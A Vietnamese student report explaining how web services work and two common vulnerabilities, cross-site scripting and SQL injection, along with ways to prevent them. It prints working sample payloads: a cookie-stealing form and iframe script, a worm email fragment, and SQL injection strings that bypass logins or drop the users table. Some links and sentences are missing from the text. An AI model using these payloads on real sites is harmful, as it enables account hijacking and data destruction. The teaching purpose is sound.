Mục lục
MỘT SỐ LỖ HỔNG BẢO MẬT
THƯỜNG GẶP CỦA CÁC DỊCH VỤ WEB
PHẦN I. TỔNG QUAN
Chương 1. Lý do lựa chọn đề tài
Ngày nay, khi ngành công nghiệp máy tính đang lớn mạnh và trở nên thịnh hành, các ứng
dụng của nó vào thực tế đang được triển khai rộng rãi thì cũng là lúc các vấn đề về “tội phạm tin
học” phát triển mạnh mẽ.
Một trong các ứng dụng thịnh hành hiện nay là việc tạo các website phục vụ cho việc giao
tiếp, quảng bá, kinh doanh … của các công ty, cơ quan, đoàn thể. Tuy nhiên, việc phát triển một
ứng dụng web với việc bảo mật web ở Việt Nam hiện nay vẫn chưa được đồng bộ cùng nhau.
Người ta ít quan tâm tới các nguy cơ bị tấn công của các trang web, hoặc có chăng cũng chỉ là
các biện pháp ngăn chặn không hiệu quả. Theo Symantec và các chuyên gia trong lĩnh vực an
toàn thộng tin, tình trạng mất an toàn thông tin và số lượng các vụ tấn công ngày càng cao làm
Việt Nam có nguy cơ trở thành ổ máy tính ma lớn trên thế giới. Ngày 12/5/2010, theo công bố
của Symantec, Việt Nam xếp thứ 19, tăng 1 bậc so với năm 2009. Mức đe doạ mã độc xếp thứ 12
trong khi năm trước chỉ đứng ở vị trí 24; Hệ thống máy chủ bị lởi dụng để lừa đảo trực tuyến là
33 (năm 2009 là 42); Đe doạ về máy tính bị nhiễm phần mềm điều khiển của tin tặc xếp thứ 45
trong khi năm 2009 là thứ 51. Theo ông Nguyễn Minh Đức, giám độc bộ phận an ninh mạng
BKIS, thực tế mức độ nghiêm trọng an toàn thông tin của Việt Nam năm 2010 có tăng tương đối
so với năm 2009 cả về số lượng máy tính nhiễm virus, số lượng máy chủ, website bị tấn công.
“Ngay như năm 2011, chỉ tính riêng tháng 5 đã có đến 200 vụ tấn công các website, bằng khoảng
1/5 so với cả năm 2010” – ông Đức dẫn chứng.
Vậy đâu là nguyên nhân của các cuộc tấn công vào các trang web? Việc quản lý lỏng lẻo
cùng với
Làm cách nào để giảm thiểu tối đa khả năng tấn công của “cracker” vào trang web? Đó luôn
là vấn đề của các nhà thiết kế, quản trị website. Biết rõ cớ chế hoạt động cũng như cách thức tấn
công của cracker để có biện pháp ngăn ngừa là một việc làm cần thiết. Đó là lý do nhóm lựa
chọn đề tài “Tìm hiểu một số lỗ hổng bảo mật thường gặp trên các ứng dụng web”
Chương 2. Nguyên lý hoạt động cơ bản của web
I. Nguyên tắc hoạt động của máy chủ web

Giả sử có một người quen nói với bạn: “Tôi vừa đọc một bài viết rất hay! Bạn hãy
đánh vào địa chỉ sau và xem thử nhé, địa chỉ trang web này là
Khi bạn gõ dòng địa chỉ đó vào
trình duyệt web và ấn Enter, trang web sẽ hiển thị trên màn hình của bạn.
Làm thế nào mà trang web có thể hiển thị được như vậy? Cơ chế hoạt động của máy chủ
web là gì?
Các bước cơ bản trong tiến trình truyền tải trang web đến màn hình của bạn được thể
hiện theo mô hình sau:
Hình 1.1 Các tiến trình cơ bản của hoạt động web
Theo mô hình trên, trình duyệt web (bên trái) thực hiện một kết nối tới máy chủ web
(bên phải), yêu cầu một trang web và nhận lại nó. Sau đây, là thứ tự từng bước cơ bản
xảy đến đằng sau màn hình của bạn.
Trình duyệt web tách địa chỉ website làm 3 phần:
− Tên giao thức: “http”
− Tên miền của máy chủ web: www.howstuffworks.com
− Tên tệp HTML: “web-server.htm”
Trình duyệt liên hệ với máy chủ tên miền (DNS Server) để chuyển đổi tên miền
“www.howstuffworks.com” ra địa chỉ tương ứng. Sau đó, trình duyệt sẽ gửi tiếp một kết
nối tới máy chủ của website có địa chỉ IP này qua cổng 80. Dựa trên giao thức HTTP,
trình duyệt gửi yêu cầu GET đến máy chủ, yêu cầu tệp HTML “web-server.htm”. (Chú ý:
một cookies cũng sẽ được gửi kèm theo từ trình duyệt web đến máy chủ).
Tiếp đến, máy chủ sẽ gửi một file văn bản có các thẻ HTML đến trình duyệt web của bạn
(một cookies khác cũng được gửi kèm theo từ máy chủ tới trình duyệt web, cookies này
được ghi trên đầu trang của mỗi trang web).
Trình duyệt web đọc các thẻ HTML để xác lập định dạng (hình thức trình bày) trang
web và kết xuất nội dung trang ra màn hình của bạn.
Trong giao thức HTTP nguyên bản, bạn cần cung cấp đầy đủ đường dẫn của tên tệp,
ví dụ như “/” hoặc “/tên tệp.htm”. Sau đó, giao thức sẽ tự điều chỉnh để có thể đưa ra một
địa chỉ URL đầy đủ. Điều này cho phép các công ty kinh doanh dịch vụ lưu trữ có thể lưu
trữ nhiều tên miền ảo (virtual domains), có nghĩa nhiều tên miền cùng tồn tại trên một

máy chủ và sử dụng cùng một địa chỉ IP duy nhất. Ví dụ, trên máy chủ của
HowStuffWorks, địa chỉ IP là 209.116.69.66, nhưng nó có hàng trăm tên miền khác nhau
cùng tồn tại.
II. Trang web động là gì?
Máy tìm kiếm (Search engine), thí dụ Google, cho phép gõ vào các từ khóa trong
một ô điền (form) HTML, sau đó máy tự động trả lại các trang web có chứa những từ
khóa đó. Cơ sở dữ liệu của máy cho phép bạn đưa vào tên miền trong form HTML và nội
dung những trang web được gửi trả lại sẽ thay đổi tùy thuộc vào tên miền mà bạn gõ vào.
Trong tất các trường hợp trên, máy chủ web không chỉ đơn giản là “tìm kiếm một tệp”.
Nó thực sự là một quá trình xử lý thông tin rồi kết xuất ra trang web dựa trên các kết quả
truy vấn. Trong hầu hết các trường hợp trên, máy chủ web thường sử dụng các đoạn
chương trình ASP, JSP, PHP và các đoạn mã CGI scripts để giải quyết bài toán
III. Dịch vụ web
Dịch vụ web (WS: Web Service) là một phương thức tích hợp các ứng dụng trên nền
web. Mỗi ứng dụng trên nền web có thể sử dụng các thành phần khác nhau để tạo thành
một dịch vụ web.
Dòng tiến trình của một dịch vụ web bao gồm các bước sau:
Hình 1.7. Dòng tiến trình của một dịch vụ web
1. Phát hiện - Tìm kiếm các dịch vụ web thích hợp trên một Web Site UDDI.
2. Mô tả - Web Site UDDI trả lời bằng một tệp WSDL mô tả về dịch vụ web thích
hợp cho ứng dụng client.
3. Tạo Proxy - Tạo ra một Proxy cục bộ cho dịch vụ từ xa. Hiện nay không có chuẩn
cho việc này. Proxy chuyển một phương tiện khởi động phương thức (method
invocation) của đối tượng thành một thông báo XML và ngược lại.
4. Tạo thông báo SOAP - Tạo ra một thông báo SOAP/XML và gửi đến địa chỉ URL
được xác định trong tệp WSDL.
5. Nhận cuộc gọi và diễn dịch - SOAP Listener là một bộ phận chương trình chạy
trên máy chủ để thu nhận cuộc gọi và diễn dịch nó cho dịch vụ web.
6. Thực hiện - Dịch vụ Web thực hiện các chức năng của mình và trả kết quả về cho
client, thông qua listener và proxy.

Hình 1.8. Cấu trúc công nghệ của dịch vụ web
Dịch vụ web là một thuật ngữ dễ gây nhầm lẫn và bản thân nó cần được giải thích bằng một
số khái niệm của công nghệ thông tin như các chuẩn SOAP/XML, UDDI và WSDL:
UDDI là một chuẩn qui định loại Web Site đặc biệt chuyên cung cấp thông tin về vị trí của các
dịch vụ web có trên mạng.
WSDL là một ngôn ngữ chuẩn cho phép mô tả tính năng của các dịch vụ web.
SOAP (Simple Object Access Protocol) là một giao thức chuẩn trao đổi thông tin giữa các dịch
vụ web.
XML là chuẩn ngôn ngữ đánh dấu siêu văn bản có thể mở rộng với những sơ đồ mô tả tài
liệu (DTD Schema).
Chính việc trao đổi thông tin giữa các dịch vụ web đòi hỏi sử dụng nhiều công nghệ phải
làm việc trơn tru với nhau.
Dịch vụ web là một phương thức chuẩn để tích hợp các ứng dụng trên nền web (Web-based
Applications). Các ứng dụng có thể sử dụng các thành phần khác nhau để tạo thành một dịch vụ,
ví dụ như máy chủ chạy một trang web thương mại điện tử kết nối với cổng thanh toán điện tử
qua một giao diện lập trình ứng dụng (API). Nếu tạo một ứng dụng web bởi công nghệ .NET của
Microsoft thì thành phần trên máy chủ chính là hệ thống cung cấp trang HTML (IIS: Internet
Information System), còn các thành phần thanh toán và các thành phần .NET được coi là các cấu
kiện bên ngoài (component). Các thành phần này được gọi bởi phương thức SOAP (khác phương
thức POST, GET thường dùng với HTML) nên không bị gặp phải tường lửa (firewall) khi truy
cập các thành phần bên ngoài máy chủ. Và toàn bộ các thành phần đó gọi là một dịch vụ web.
Dịch vụ web cho phép các tổ chức thực hiện truyền thông dữ liệu mà không cần phải có kiến
thức về hệ thống tin học bị che giấu ở phía sau tường lửa. Một số dịch vụ web
hiện nay có sẵn hoặc thậm chí miễn phí và càng ngày càng hướng dần vào phục vụ các cơ quan
và doanh nghiệp.
Một ví dụ về các dịch vụ web sẵn có là dịch vụ được cung cấp bởi công ty PayPal cho phép
những người có tài khoản tín dụng tiền điện tử thì có thể thanh toán trên mạng hoặc trả một phần
hoặc thực hiện các giao dịch tìm kiếm, và lấy lại các thông tin của từng giao dịch cụ thể.
Để bảo mật trên web, người ta sử dụng và kết hợp các phương pháp như: xác thực
(authentication), mã hóa (cryptography), sử dụng SSL, TSL,…

Qua các thông tin trên, có thể thấy được rằng web có vẻ rất an toàn và bảo mật, thế nhưng vẫn
còn tồn tại những lỗ hổng bảo mật cực kì nguy hiểm. Vậy hiện nay, các lỗ hổng bảo mật phổ
biến là gì? Và mức độ nguy hiểm, cách thức hoạt động của chúng ra sao?
PHẦN II. MỘT SỐ LỖ HỒNG BẢO MẬT THƯỜNG GẶP
Mặc dù web được bảo mật bằng những phương thức khác nhau, thế nhưng cracker là những
người rất tinh vi. Họ tìm tòi và suy nghĩ ra những phương pháp tấn công thông minh và độc đáo
dựa trên các lỗ hổng của các ứng dụng web. Dưới đây là một số phương pháp tấn công phổ biến
1 Cross Site Scripting (XSS)
Vào tháng 10 năm 2005, một người dùng đăng nhập tài khoản ở MySpace và xem profile
của người khác. Trình duyệt xử lý JavaScript của trang này tự động update trên user profile
thông báo là một người tên Samy là người hùng của họ. Một người bạn của người này vào xem
profile và đồng ý trên profile rằng Samy là người hùng Và sau đó nhiều người cùng đồng ý
Samy là người hùng trong khi không biết Samy là ai. Sau 24 giờ, Samy có trên 1 triệu bạn bè, và
MySpace bị tắc nghẽn lưu lượng. Samy đã sử dụng XSS với khoảng 4000 ký tự text, tạo nên một
cuộc tấn công DoS và MySpace, một công ty có số server lên đến hàng ngàn. Cuộc tấn công của
Samy được dùng để tham khảo cho các cuộc tấn công sử dụng XSS sau này. (Cuộc phỏng vấn
Samy có thể xem tại ).
XSS có thể được dùng kèm với keylogger để ăn cắp mật khẩu tài khoản ngân hàng, tài
khoản ngân hàng, tài khoản game online hoặc có thể được dùng để lấy cookies từ nạn nhân.
Phương pháp này tuy đơn giản nhưng rất nguy hiểm đối với những người dùng web.
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay,
đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web
và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin
mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
I XSS là gì?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh
nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách
chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn
mã script nguy hiểm có thể gây nguy hại cho người dùng. Những đoạn mã nguy hiểm này
đựơc chèn vào hầu hết viết bằng các Client-Site Script như JavaScript, JScript, DHTML

và cũng có thể là cả các thẻ HTML.
Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất
của ứng dụng Web và ngày càng đe doạ người sử dụng.
Khác với SQL Injection tấn công vào CSDL của website, XSS tấn công trực tiếp vào
người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie,
chiếm sesion… từ đó có thể đăng nhập chiếm quyền điều khiển website.
IV. XSS hoạt động như thế nào?
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong
đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt load thêm các website khác khi
các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ
IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:
====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
====_ABC0987654321DEF_====

====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
Đôi khi đang đọc email, hộp thư bị chuyển sang một website khác, điều đó đồng

nghĩa với việc mail của người dùng có thể đã mất mật khẩu. Trước đây, hàng loạt các hộp
thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi
đó các email được mở mà không hề cảnh giác với XSS. Không phải chỉ các file đính kèm
mới có thể gây nguy hiểm cho người dùng. Chỉ cần với một đoạn mã HTML gửi trong
email của người dùng đã hoàn toàn bị mất cookie:
<form action="
method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover = "window.document.XSS.cookie.value
= document.cookie;window.document.XSS.submit();" src="none.jpg">
Khi nhận thư, và nếu bức hình gửi kèm được trỏ tới thì đồng nghĩa với việc đoạn mã
trên được kích hoạt và người dùng sẽ bị mất cookie. Và với cookie lấy được, các hacker
có thể dễ dàng đăng nhập vào hòm thư đó mà không cần biết mật khẩu.
Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML nhưng lại bỏ
qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hỗng nghiêm
trọng này, như vậy không có nghĩa là người dùng không cần cảnh giác với những "lỗi"
của website. Một liên kết có dạng:

Chắc chắn sẽ khiến cho người dùng phải xem xét kĩ trước khi click vào, có thể là sẽ
tắt JavaScript cho trình duyệt trước khi click vào hay ít nhất cũng có một chút cảnh giác.
Nhưng nếu gặp liên kết:

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần
kí tự của liên kết đã được thay thế bởi mã HEXA của nó, tất nhiên trình duyệt vẫn hiểu
địa chỉ đó thực sự là gì. Bởi vậy người dùng có thể sẽ gặp phải các đoạn mã nguy hiểm
nếu như mất cảnh giác với XSS.
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu
(request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá
tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc

cũng có thể đó chỉ là các URL như là
was found !');</script>
Và rất có thể trình duyệt web sẽ hiện lên một thông báo "XSS was found !".
V. Tác hại của XSS
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay
thế bằng một file nguồn trên một server khác thông qua thuộc tính SRC của thẻ script.
Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn
của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với
website ở phía client mà nạn nhân trực tiếp là khách duyệt site đó. Tất nhiên đôi khi các
hacker cũng sử dụng kĩ thuật này đề phá hoại các website. XSS là những Client Side
Script – kịch bản phía máy khách, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía
client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS là người sử dụng – client – của website. Khi một client
vô tình truy cập vào trang có chứa các đoạn mã nguy hiểm do các hacker tạo ra, họ có thể
bị chuyển tới các website khác,nặng hơn là mất mật khẩu, mất cookie, hay cả việc máy
tính có thể sẽ bị cài các loại virus, backdoor, worm
XSS thường được sử dụng với các mục đích sau: đánh cắp thông tin, giúp hacker có
thể truy cập được vào những thông tin nhạy cảm, lấy được quyền truy cập miễn phí vào
những trang web đáng ra phải trả tiền mới vào được, dò xét sở thích của người dùng
mạng, thay đổi giao diện của một trang web nào đó, tấn công từ chới dịch vụ (DoS)
VI. Phân loại lỗi XSS
1. Stored-XSS
Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công chèn một đoạn mã
script nguy hiểm vào website của chúng ta thông qua một chức năng nào đó(ví dụ viết lời
bình, gửi bài )để từ đó khi các thành viên khá truy cập website sẻ bị dính mã độc từ kẻ
tấn công này, các mã độc thường được lưu lại trong database của website chúng ta nên
gọi là stored.stred phát sinh do chúng takhoong lọc dữ liệu do thành viên gửi lên một
cách đúng đắn, khiến cho mã độc được lưu vào database của website
Ví dụ dưới đây minh họa cho Stored-XSS.Ta có một trang web mà người dùng có

thể để lại những lời nhắn như sau:
Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
Xin <script>alert(“XSS”)</script>chào!
Kết quả:
Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và
ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database
nên bất cứ người dùng nào khi truy cập vào, trang web này sẽ thực thi đoạn mã trên. Thay
vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác
nhằm gây hại đến người dùng.
2. Reflected – XSS:
Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của
website và gửi đến nạn nhân. Nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều
này xảy ra do ta không chú ý filter input từ URL của website.
Khác với Store – XSS, Reflected – XSS đoạn mã khai thác sẽ không được lưu trữ
trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:
Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt.
Lợi dụng việc không kiểm soát giá trị này, ta có thể chèn thêm đoạn mã gây hại vào.
Đường link sẽ có dạng:
/>Tuy nhiên đoạn mã độc hại không được lưu lại trên server nên chỉ khi chạy đường
link trên, người dùng mới bị tấn công.
Kịch bản điển hình nhất khi khai thác XSS là hacker chèn đoạn javascript như sau
vào website:
<script>
document.write("<iframe width=0 height=0 src =
,document.cookie,">")
</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy
cookie của hacker tại địa chỉ . Khi có được cookie, hacker
có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.
VII. Phát hiện XSS bằng cách nào?

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham
khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin
về bảo mật như securityfocus.com, securiteam.com, Tuy nhiên nếu các website được tự
viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn
cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường
Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá
tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi
khác trong Website đó, Server đó.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm
tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl
Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của
bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.
VIII. Ngăn ngừa XSS như thế nào?
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá
khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP
(The Open Web Application Standard Project) chỉ ra rằng để có thể xây dựng các website
bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên:
− Chỉ chấp nhận những dữ liệu hợp lệ.
− Từ chối nhận các dữ liệu hỏng.
− Liên tục kiểm tra và thanh lọc dữ liệu.
Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay
không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra
website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này
thẻ script sẽ được đổi thành &lt;script&gt;. Như vậy nó sẽ vẫn được in ra màn hình mà
không hề gây nguy hiểm cho người sử dụng.
Ví dụ với script search.cgi với mã nguồn là:
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();

my $query = $cgi->param('query');
print $cgi->header();
print "You entered $query";
Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ
nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in
ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.
Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự
đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã
nguồn hoàn hảo hơn như sau:
#!/usr/bin/perl
use CGI;
use HTML::Entities;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered ", HTML::Entities::encode($text);
Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web
Application khác (ASP, PHP ). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra,
các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được
thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ
lọc và mã hoá các dữ liệu là cách tốt nhất để
chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể
dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng :
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;
$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);

Kĩ thuật XSS được mô tả lần đầu tiên cách đây 2 năm và hầu hết các khả năng tiềm
ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một
phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của
mình. Một phương pháp tối ưu vẫn còn đang ở phía trước.
Chương 3. SQL injection
Việc thiết kế và đưa website vào hoạt động luôn đòi hỏi các nhà phát triển phải quan tâm
đến vấn đề về an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tin tặc tấn công. Thường các
nhà phát triển tập trung vào các vấn đề an toàn của hệ điều hành, hệ quản trị CSDL, web server
Ch•ng hạn như hổng bảo mật trên IIS. Tuy nhiên, có một nguy cơ tiềm ẩn ít được quan tâm đó là
các đoạn mã của ứng dụng. Một trong số đó là tấn công bằng SQL Injection.
I Tầm quan trọng của các câu lệnh SQL đối với hệ thống web
Cơ sở dữ liệu (database) được coi là tái tim của hầu hết các website, nó chứa dữ liệu
cần thiết để website có thể chạy và là nơi lưu trữ thông tin phát sinh trong quá trình chạy.
Nó cũng lưu trữ thông tin cá nhân, thông tin thẻ tín dụng, mật khẩu của khách hàng,
user, và cả cuả admin. Để lấy thông tin từ DB thì các câu lệnh SQL sẽ đảm nhiện vai trò
thực hiện các yêu cầu truy vấn được đưa ra từ phái người dùng: khi đăng nhập vào hệ
thống, khi lấy – tìm kiếm thông tin trên website Tóm lại, câu truy vấn SQL rất quan
trọng đối với một ứng dụng web
IX. Sql Injection là gì?
Lỗ hổng SQL Injection là lỗ hổng an ninh ảnh hưởng trực tiếp đến cơ sở dữ liệu và
tài nguyên của một hệ thống website. Hầu hết các website hiện nay đều có sử dụng cơ sở
dữ liệu như một công cụ để lưu trữ tài nguyên cho mình. Việc quản lý và sử dụng thông
tin bằng cơ sở dữ liệu sẽ làm cho thông tin trên website được tổ chức một cách mềm dẻo
và tiện lợi hơn. Thông tin mà người sử dụng yêu cầu sẽ được lấy từ cơ sở dữ liệu thông
qua các query tại webserver.
SQL injection là một kỹ thuật điền vào những đoạn mã SQL bất hợp pháp cho phép
khai thác một lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một ứng dụng. Lỗ hổng bảo
mật này có thể xuất hiện khi ứng dụng không có đoạn mã kiểm tra chuỗi ký tự thoát
nhúng trong câu truy vấn SQL hoặc do sự định kiểu đầu vào không rõ ràng hay do lỗi cú
pháp SQL của lập trình viên khiến cho một đoạn mã ngoại lai có thể được xử lý ngoài ý

muốn. Nó là một ví dụ của sự rủi ro khi một ngôn ngữ lập trình hay ngôn ngữ kịch bản
được nhúng trong một ngôn ngữ khác. Tấn công SQL injection còn có thể hiểu là hình
thức tấn công chèn bất hợp pháp các đoạn mã SQL.
X. Các dạng lỗi thường gặp
1 Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào
trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn
không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:
statement = "SELECT * FROM users WHERE name = '" +
userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng
những người dùng. Tuy nhiên, nếu biến "userName" được nhập theo một cách nào đó bởi
người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích xấu. Ví dụ, ta
nhập vào giá trị của biến userName như sau:
a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên thì kẻ tấn
công có thể đăng nhập được vào website bởi 't'='t' luôn đúng. Hầu hết các SQL server
cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, một số SQL API như
mysql_query của php lại không cho phép điều đó vì lý do bảo mật. Tuy nhiên, điều này
chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ chứ không ngăn cản
tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của biến "userName" trong câu
truy vấn dưới đây sẽ trở thành một lệnh xoá những người dùng từ bảng người dùng,
tương tự như việc xóa tất cả các dữ liệu có được từ bảng dữ liệu. Ví dụ này minh họa
bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT
* FROM DATA WHERE 't' = 't';

3. Xử lý không đúng kiểu
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định
nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu
vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng
lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà
người dùng nhập vào có phải là số hay không. Ví dụ như sau:
statement := "SELECT * FROM data WHERE id = " +
a_variable + ";"
Đoạn mã trên yêu cầu nhập vào một số id là trường số. Tuy nhiên thay vì nhập vào
một số, người dùng cuối có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một
câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát (;). Ví dụ nhập giá trị của biến
a_variable là:
1;DROP TABLE users
Khi đó, lệnh SQL sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở
dữ liệu, vì câu truy vấn hoàn chỉnh đã được hiểu là:
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
4. Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là
trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho
phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên
những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát.
5. Blind SQL injection
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu
quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự
sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn
công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều
thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử dụng
một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập
sẵn.
6. Thay đổi giá trị điều kiện truy vấn

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy
vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'
AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'
AND 1=2;
sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi
SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh
hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác
